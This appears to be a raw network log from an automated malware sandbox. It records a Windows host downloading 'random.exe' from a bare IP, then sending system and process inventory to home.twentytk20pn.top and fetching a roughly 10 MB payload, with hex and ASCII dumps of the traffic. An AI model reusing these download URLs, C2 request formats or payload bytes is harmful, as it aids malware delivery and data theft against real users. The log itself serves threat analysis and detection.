                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:44.285238981 CET55OUTGET /luma/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.16
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.608325958 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:44 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 1838592
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 23:58:18 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "6763619a-1c0e00"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 f0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 49 00 00 04 00 00 0c f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gH@ I@T0h 1 H@.rsrc X@.idata 0\@ *@^@kohmmiqtP/`@dhywrchuH@.taggant0H"@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.608472109 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.608488083 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.608974934 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.608992100 CET496INData Raw: 8b 5c dc e1 f4 7d 56 ad da c3 78 cd fa a3 a6 b5 19 33 30 b9 6c dc 51 42 2d f8 05 31 4d 3a 45 58 c9 8c b5 68 ff d0 5c 90 7c fc 45 ba 04 64 7b 3f f3 b3 5d 10 a5 85 44 6e 46 03 78 91 2d ab 7a 56 d0 ce 2b 5f 8a 42 0a 7f 49 51 bd 8c 51 59 13 4c 3c 60
                                                                                                                                                                                                                                                            Data Ascii: \}Vx30lQB-1M:EXh\|Ed{?]DnFx-zV+_BIQQYL<`LwO<EYMFpZa3\cR,+Q'xE48y7_p6E0/WawMVyrXE8[R\O!OOWz~o4{7,`}8~)r'@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.609009027 CET1236INData Raw: 67 99 33 59 fb 38 b7 1c 11 0d 37 7f 41 a0 6d 90 90 08 38 21 ef 04 eb a0 15 bc 6f cc c6 b6 8f 99 10 b9 3c 17 55 80 f5 d5 d8 c7 3f 10 66 56 e1 a7 20 f9 35 7f a4 46 f7 6d 12 25 53 9b 2c e5 93 97 4f 93 32 b2 da 61 7b 4f b5 4d ec b7 59 8d 2d b3 4b c6
                                                                                                                                                                                                                                                            Data Ascii: g3Y87Am8!o<U?fV 5Fm%S,O2a{OMY-K"P2%\B[z9c{/Ouq uV*qA,TL4)p7I8]Q$]W!We7O"c AfAmNXR^:aps4e3DH|oGO^"@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.609761000 CET1236INData Raw: 5a 1c c5 1c 78 9c f6 55 05 4c 22 98 cf ab 1b 3f fd 67 68 68 fa f2 7e d1 18 dc 11 88 1d 32 36 af 53 4d d6 9d bd 0c ea 7c 18 c8 7a 90 36 a9 2f f4 a9 fa 5c b8 66 02 14 35 ec 8e 4e 36 de 12 d0 b4 2b f7 24 98 60 66 1d a1 4c 96 77 a5 cd d0 1e fb 41 ba
                                                                                                                                                                                                                                                            Data Ascii: ZxUL"?ghh~26SM|z6/\f5N6+$`fLwAhoW(=b3f/MB=X|60Qh'd*$f~5,o6..HcdmG @\OPDY+{Q&eZPu7OLxV=;^zW6@MB9S#:,/+
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.609777927 CET1236INData Raw: 07 b2 ee 8b 6e cc dc 4e 00 c0 5b 21 99 cd 5f ed 6c 54 18 3e 31 9c c1 92 e6 b3 6e 8b 57 a0 79 fe bd 80 46 9d 65 c4 7a 82 50 31 23 0c 14 04 30 70 5e fd 6c 8b f5 7b 39 0a ab 1b d2 a6 d7 9e 48 2f b1 b3 3c 99 c7 24 33 74 92 e9 1d 0f 53 e1 f7 b4 d7 94
                                                                                                                                                                                                                                                            Data Ascii: nN[!_lT>1nWyFezP1#0p^l{9H/<$3tS@K%?U8l1gxX,iD&4.~pxD3eI[vh:xBm~Xh31}rV!`ROv6fz|Qy$MpP'm=K#@?L:jb1g44
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.609793901 CET1236INData Raw: 21 ea 26 8a 55 7c 39 0c 71 29 23 4c 5d c8 94 c4 b1 c0 2d 44 d0 77 2b 51 a1 3f 0c 4e af d3 32 cc d1 af 8c 23 5d 52 39 63 4d 31 77 fa 4d 94 f0 8b 2b 3b cb ff 0a 6c 34 cf 7a cb 44 a2 e3 72 47 e4 ac 94 ab 29 ea 45 60 b6 31 a4 fa bf 83 9a 75 2e d0 76
                                                                                                                                                                                                                                                            Data Ascii: !&U|9q)#L]-Dw+Q?N2#]R9cM1wM+;l4zDrG)E`1u.vZ~-fKM9YZ:.Dr6DY/$"Vz/3-h6oq\++?dJv.Q=dC(7Q3MApy,KFyk,{'8bt/9
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.609811068 CET1236INData Raw: d2 46 8a ec db 3b 69 61 6e 54 10 00 c2 d5 13 4b 49 a8 78 5e 13 e9 e6 59 1f 48 81 a9 3d 90 d6 4d 11 ac 74 18 cd 11 2c cc 76 2d 93 4c ba 2a 03 39 db 2a 17 36 49 9c 48 12 54 24 55 9d 22 c2 23 b0 4e a9 47 54 42 ef d6 25 cf 56 40 90 04 0b 75 31 4f 7e
                                                                                                                                                                                                                                                            Data Ascii: F;ianTKIx^YH=Mt,v-L*9*6IHT$U"#NGTB%V@u1O~m=kiT,D)F4*n~zUm?QQ.I3"R%{LK't-kyAGc8X:`"k{-H}N&jpU?E*#U0}-JIp^y9N\)o
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:45.728106022 CET1236INData Raw: 75 9f ff 79 89 3f 46 88 54 ab 50 9b 30 90 17 36 01 c0 3e 9d 59 e1 ea 5b 5b 4c 07 3e 7e d1 5a d2 80 1b c0 9f 77 2f a4 e3 ec e1 a6 35 fa bc 22 65 1a 0c b5 3f a3 8f 0a 1e 18 91 77 3e f7 ad 20 b9 39 af 97 b9 b7 b3 7e a6 f6 49 28 50 74 80 0a 61 06 76
                                                                                                                                                                                                                                                            Data Ascii: uy?FTP06>Y[[L>~Zw/5"e?w> 9~I(Ptavf rw}=PX[\yzzXgz];ho`jGdNK7$9K:>oCWp5;rWAMT[%T~2U9ci<XA&h:5Ebd<4\qD?;Hxk49*tRz14


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            9192.168.2.549905185.185.71.170803872C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:46.889911890 CET12360OUTPOST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1
                                                                                                                                                                                                                                                            Host: home.twentytk20pn.top
                                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                                            Content-Type: application/json
                                                                                                                                                                                                                                                            Content-Length: 496841
                                                                                                                                                                                                                                                            Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 36 36 39 38 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: { "ip": "8.46.123.189", "current_time": "1734566983", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 332 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 564 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 444 }, { "name": "svchost.exe", "pid": 732 }, { "name": "svchost.exe", "pid": 280 }, { "name": "svchost.exe", "pid": [TRUNCATED]
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:47.009519100 CET2472OUTData Raw: 53 71 32 57 59 69 55 34 52 6f 54 70 4b 6c 4f 69 34 31 70 54 6c 4f 46 50 2b 6e 76 42 58 36 4b 66 69 48 34 35 38 4c 5a 68 78 62 77 6c 6e 50 42 6d 58 5a 62 6c 2b 66 34 72 68 79 74 51 34 69 7a 48 50 4d 4a 6a 70 59 37 42 35 64 6c 65 5a 31 61 74 4b 6e
                                                                                                                                                                                                                                                            Data Ascii: Sq2WYiU4RoTpKlOi41pTlOFP+nvBX6KfiH458LZhxbwlnPBmXZbl+f4rhytQ4izHPMJjpY7B5dleZ1atKnlvDub0JYWVDN8NCE54mFZ1oV4yoRhGnUq\/yWUV\/WS\/\/BGL9jbnEnxeHGePHem+oHfwoa8n+KP\/AASF\/Ze0S38I6f4T1L4kadqvjHxNqnhePUtb8T2esWmlsnw2+IHiqxv0sLXRNJa4kh1nwxpaTRS3RimsJ
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:47.009598970 CET2472OUTData Raw: 32 6e 37 33 76 2b 5c 2f 38 41 4a 5c 2f 38 41 4a 48 5c 2f 36 2b 4f 76 72 54 5c 2f 4e 5c 2f 34 48 5c 2f 30 30 38 7a 72 5c 2f 50 72 39 44 6e 46 44 52 6f 33 33 5c 2f 75 65 76 2b 65 5c 2f 48 2b 63 30 47 39 50 72 38 76 31 4b 33 6d 4f 71 5c 2f 4c 67 6e
                                                                                                                                                                                                                                                            Data Ascii: 2n73v+\/8AJ\/8AJH\/6+OvrT\/N\/4H\/008zr\/Pr9DnFDRo33\/uev+e\/H+c0G9Pr8v1K3mOq\/Lgnp+87f5\/yOtM8zzN42eW\/P7v8A5Yfn\/n6+tmTemzY9x\/y8RRfaaidH3O\/7xP3R838s9z\/kdq6DQqyR7d67DD\/0z\/1\/ne\/\/AOv\/AApm18BkeNIfN\/1XE8\/+T+f8qf02fP5cseP3f\/Pb8f06\/pxQ
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:47.009692907 CET2472OUTData Raw: 57 37 53 30 6b 6e 56 54 65 57 64 6e 71 30 46 35 5a 77 58 73 65 36 4f 34 46 75 57 42 44 68 30 58 35 70 72 38 69 7a 44 4f 75 4a 4d 71 6e 57 79 6e 46 31 56 68 73 5a 67 36 31 62 43 34 72 6e 77 31 48 36 33 52 78 47 47 6d 36 4e 61 6a 4a 38 72 77 31 6f
                                                                                                                                                                                                                                                            Data Ascii: W7S0knVTeWdnq0F5ZwXse6O4FuWBDh0X5pr8izDOuJMqnWynF1VhsZg61bC4rnw1H63RxGGm6NajJ8rw1oTjJaYbn5k2qjVkfs2XcOcI5vTw2d4KhLF4HMMPQxmDjHGYj6hWw2JpRr0K0I80cZzThOLXNjHT5XZ0ea8jv9f8Ai5F4Q8LeLG8GeH4NGtZfD+rjULzxBfy+K9Rv7QWU7y2d5ZTW+neDbm3dRsgWXwfLfW7MWhvzMV
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:47.009722948 CET2472OUTData Raw: 34 5a 34 62 43 59 4f 72 56 68 6a 61 31 4c 45 54 77 30 50 62 52 54 70 55 35 4f 6f 6d 33 47 33 37 57 32 50 77 63 2b 4e 66 68 71 77 38 56 2b 46 76 43 50 78 52 2b 44 4c 2b 41 76 45 76 6a 48 34 6f 2b 4b 78 6f 48 6a 5c 2f 41 50 5a 39 38 57 65 4e 64 55
                                                                                                                                                                                                                                                            Data Ascii: 4Z4bCYOrVhja1LETw0PbRTpU5Oom3G37W2Pwc+Nfhqw8V+FvCPxR+DL+AvEvjH4o+KxoHj\/APZ98WeNdUWL4seO\/FPxA8RaHrOq6Z+0T4N0bXdPi1Txfqum2oHhPTVk0VLW1vobu4W5vLr+Wz\/goL+zNbfstfHe38H2eu6FrVt408HWfxKitvDPhPVvBvh7w2uueJ\/Fmh\/8I1o2k6545+ImrNp9gfDJuba4vvE1zMIr5bM
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:47.009751081 CET2472OUTData Raw: 36 47 6e 73 76 59 6a 5c 2f 50 71 4b 6a 6b 37 66 6a 5c 2f 53 67 36 43 4f 6f 5c 2f 4c 39 5c 2f 30 5c 2f 38 41 72 31 4a 52 51 61 77 32 2b 66 36 49 71 73 75 37 38 4b 68 5c 2f 39 41 5c 2f 7a 2b 48 54 5c 2f 41 44 69 72 6e 6c 2b 5c 2f 36 66 38 41 31 36
                                                                                                                                                                                                                                                            Data Ascii: 6GnsvYj\/PqKjk7fj\/Sg6COo\/L9\/0\/8Ar1JRQaw2+f6Iqsu78Kh\/9A\/z+HT\/ADirnl+\/6f8A16rNH7fJ\/ID\/ADxjPvQdPv8A938SGRcff\/5aevbH+fyz6VEN\/wDHn2z\/AJx6dKsS\/wAX4f0qPy\/f9P8A69BtT6\/L9SOoG77P8\/59+\/tVll2+4qGTt+P9KDsKHz\/Px9\/r06D\/AD7c0u7\/AJZ9v\/rf
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:47.009824991 CET2472OUTData Raw: 2f 6e 33 70 38 6e 37 7a 59 37 70 47 5c 2f 6c 5c 2f 75 76 39 62 5c 2f 79 37 5c 2f 38 41 4c 70 6a 76 55 33 6b 70 74 52 33 47 39 4a 66 2b 57 66 6d 5c 2f 75 50 38 41 72 36 5c 2f 2b 76 33 5c 2f 57 71 33 79 53 66 75 39 6e 7a 78 6e 39 31 2b 36 5c 2f 7a
                                                                                                                                                                                                                                                            Data Ascii: /n3p8n7zY7pG\/l\/uv9b\/y7\/8ALpjvU3kptR3G9Jf+Wfm\/uP8Ar6\/+v3\/Wq3ySfu9nzxn91+6\/z\/n9Z9r5y\/r5nQMX+Pf8iSf609+vH8+fqKEkfCeS+\/8AeiLzOkH+en+eaftf5P8AV\/63\/Pf\/AD05zTJI\/wCPZs\/6aGXz8dfX8f8A9dHtfOX9fMBm1I5N6fOP9bL\/ANNv0\/rjv1pd37twnmb44v4Ivr\/
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:47.009848118 CET2472OUTData Raw: 69 74 6c 4e 44 69 62 77 79 38 50 71 65 48 77 74 44 50 4d 50 39 63 34 58 34 68 77 6c 50 44 35 6c 68 38 49 73 55 38 72 77 46 48 48 59 47 76 68 63 64 55 6f 34 33 42 31 73 50 56 71 79 6f 72 45 72 32 54 6c 4c 4c 61 32 49 78 65 58 34 69 6e 6d 47 48 77
                                                                                                                                                                                                                                                            Data Ascii: itlNDibwy8PqeHwtDPMP9c4X4hwlPD5lh8IsU8rwFHHYGvhcdUo43B1sPVqyorEr2TlLLa2IxeX4inmGHwSq8vpHg3UPin+xNZeC\/Bfiey8GJ4k0fRrHwB4pm0rWtb0zSfB8PjDTJ\/Ad2mlaD4u8Ba5eadN4MtdFitU0jxj4duVtZ4pbLUoVSMNT+PfhXUvBP7Cvx78K63q8HiHXtA+B0Wh69r1pb61aWWuazoXwe8HaFqGr2
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:47.009901047 CET2472OUTData Raw: 5a 58 6a 64 56 64 47 44 41 47 76 76 7a 53 5c 2f 32 34 66 48 48 68 62 34 36 5c 2f 43 6a 39 73 48 77 76 65 78 78 5c 2f 48 44 54 4e 4e 73 50 43 76 78 78 30 71 51 6d 79 30 6a 34 72 52 2b 48 72 48 54 39 47 48 69 4c 57 49 37 5a 59 34 70 45 2b 4a 6e 67
                                                                                                                                                                                                                                                            Data Ascii: ZXjdVdGDAGvvzS\/24fHHhb46\/Cj9sHwvexx\/HDTNNsPCvxx0qQmy0j4rR+HrHT9GHiLWI7ZY4pE+Jng+2srDxZDbQXM2mePPDF344jNjc674ftrT98z\/wQF\/Y47fEr9pg\/wDc4\/C3H\/qmqb\/w4F\/Y6\/6KV+0v\/wCFj8Lf\/nNV7uc\/Si+j5xAlHNv7bxkHgsxyuvTrcO1pQxWVZxRhRzPK8Sva81TBYt0sLiKl
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:47.009951115 CET2472OUTData Raw: 2f 39 74 63 64 65 6e 72 39 4b 68 2b 63 52 75 6d 2b 4e 33 6b 37 69 4b 31 39 50 38 66 38 41 50 70 30 48 51 56 70 4e 6e 6c 50 45 6e 5c 2f 4c 50 5c 2f 57 78 5c 2f 38 74 78 33 5c 2f 77 42 4c 75 38 2b 6e 48 74 54 4a 49 31 57 5a 30 5c 2f 65 62 4a 50 38
                                                                                                                                                                                                                                                            Data Ascii: /9tcdenr9Kh+cRum+N3k7iK19P8f8APp0HQVpNnlPEn\/LP\/Wx\/8tx3\/wBLu8+nHtTJI1WZ0\/ebJP8AlpJ+\/n6\/y\/nUwH7uFNlx\/wBs\/wB\/b\/n\/AJ6Uz++\/7xO\/mf8Atr\/njpQdBD5fmK\/kp8+fNH7r68j\/AD+GaI4\/ufPGPM\/5Z+V\/5K9f8\/jRJDCyxvsz1\/z\/AJ\/XueXIsab0kmT\/AFvvn16
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:47.009968042 CET2472OUTData Raw: 76 47 63 52 5a 42 6a 61 4f 61 35 4a 69 73 36 79 58 4d 63 4c 4a 53 77 2b 5a 5a 58 57 78 32 58 59 33 44 7a 62 56 6e 52 78 6d 45 6c 52 72 30 5a 4e 38 74 6e 43 70 46 74 32 74 30 50 74 62 77 7a 2b 32 6e 38 57 74 45 30 36 66 53 74 57 75 6f 5c 2f 45 6c
                                                                                                                                                                                                                                                            Data Ascii: vGcRZBjaOa5Jis6yXMcLJSw+ZZXWx2XY3DzbVnRxmElRr0ZN8tnCpFt2t0Ptbwz+2n8WtE06fStWuo\/ElhPayWzJeyCObDoUD\/AGieC\/aPy85WK1W1hAG0xkbdvhnij4s+MPFryrf6ncRWMhbGnxzNBaBT0V4YBDBMQDtEkkO\/Gctlm3eTaBqWk+KfGXw\/8B6J4h8Lt4h+JfxB8F\/DTw0L\/XIoNPHiPx3r9j4b0RtRm0
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:49.894059896 CET164INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            server: nginx/1.22.1
                                                                                                                                                                                                                                                            date: Thu, 19 Dec 2024 00:09:49 GMT
                                                                                                                                                                                                                                                            content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                                            content-length: 26
                                                                                                                                                                                                                                                            Data Raw: 75 77 32 37 56 68 71 6d 72 6b 5a 47 31 32 33 68 31 37 33 34 35 36 36 39 38 39
                                                                                                                                                                                                                                                            Data Ascii: uw27VhqmrkZG123h1734566989


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            10192.168.2.549914185.185.71.170803872C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:50.257704973 CET126OUTGET /WEIsmPfDcpBFJozngnYN1734366322?argument=uw27VhqmrkZG123h1734566989 HTTP/1.1
                                                                                                                                                                                                                                                            Host: home.twentytk20pn.top
                                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.755570889 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            server: nginx/1.22.1
                                                                                                                                                                                                                                                            date: Thu, 19 Dec 2024 00:09:51 GMT
                                                                                                                                                                                                                                                            content-type: application/octet-stream
                                                                                                                                                                                                                                                            content-length: 10816560
                                                                                                                                                                                                                                                            content-disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;"
                                                                                                                                                                                                                                                            last-modified: Mon, 16 Dec 2024 16:25:22 GMT
                                                                                                                                                                                                                                                            cache-control: no-cache
                                                                                                                                                                                                                                                            etag: "1734366322.858812-10816560-3400407440"
                                                                                                                                                                                                                                                            Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: Y<OQ~GG&g6XN*Gxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy|-T9pFE"\mY"D7k*amD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVF*C:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00*_W~W<"]::Uxw[|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/iwo\I@$
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.755656004 CET1236INData Raw: f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 7e b6 98 46 90 01 62 04 56 b0 f0 70 df a4 19 39 28 eb a8
                                                                                                                                                                                                                                                            Data Ascii: .k*}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y264#*rGSLZUs'Tw
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.755666971 CET448INData Raw: 4d bc c2 d8 75 84 b5 f7 b3 59 c9 af 94 f9 8a 27 4e 85 a1 36 76 b0 38 83 cc bd a2 a7 55 2a 4b 0b 05 51 f9 f5 0e fb 39 63 2b c9 60 04 64 e5 6b 13 26 92 33 af 53 a1 bc 41 14 9f 71 fd 27 65 5f 93 58 48 46 88 7a e2 3d 5a c7 1d f9 00 f1 4e be cf fb db
                                                                                                                                                                                                                                                            Data Ascii: MuY'N6v8U*KQ9c+`dk&3SAq'e_XHFz=ZNmMl]!5,Gjk[}tXW~"3d-_n!y4N}oW>fpB~:Lz(S]sQrH~isg?H/Vaw!_)?-j%
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.755980015 CET1236INData Raw: 6e 0b dd b7 b5 13 d0 94 63 72 9e 8e c4 95 53 03 9f 63 e7 3b c2 11 b8 63 2a 8b ae a5 b2 0d 25 3c 77 3a 8e 35 df de 4b c5 ac a6 11 2a 41 12 20 8c ff 5d 95 54 e3 7a 47 1a f8 50 b5 86 28 4b ca c8 0b f3 e0 85 28 40 5c 04 7f ce 9e f6 6c 84 2f 8f 6d e8
                                                                                                                                                                                                                                                            Data Ascii: ncrSc;c*%<w:5K*A ]TzGP(K(@\l/mwDE{}.L%G":Uj)NR8O~a`0}N0i%HTefQZ$T"S!'lKN)4"\iSFy2!e
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:51.755994081 CET1236INData Raw: bc 6b 27 76 14 08 22 79 28 c5 94 60 64 f5 8f 17 7f 46 e1 df b6 0c d8 cb 5f 07 87 c2 a9 f7 64 86 7b 63 a5 42 7f 83 65 b8 33 2a a4 38 cb c1 fd 38 5f ef 23 81 0b a3 6c 65 45 f7 0e 80 2b dd 45 32 76 38 f9 1d b5 04 fd 47 24 1e eb e1 5e 1d 17 09 73 fc
                                                                                                                                                                                                                                                            Data Ascii: k'v"y(`dF_d{cBe3*88_#leE+E2v8G$^ss}o_Ey (^D627MT=aF,7yc^/RQ1UGV<k4::*l2%$-"$#*[:Se2\E
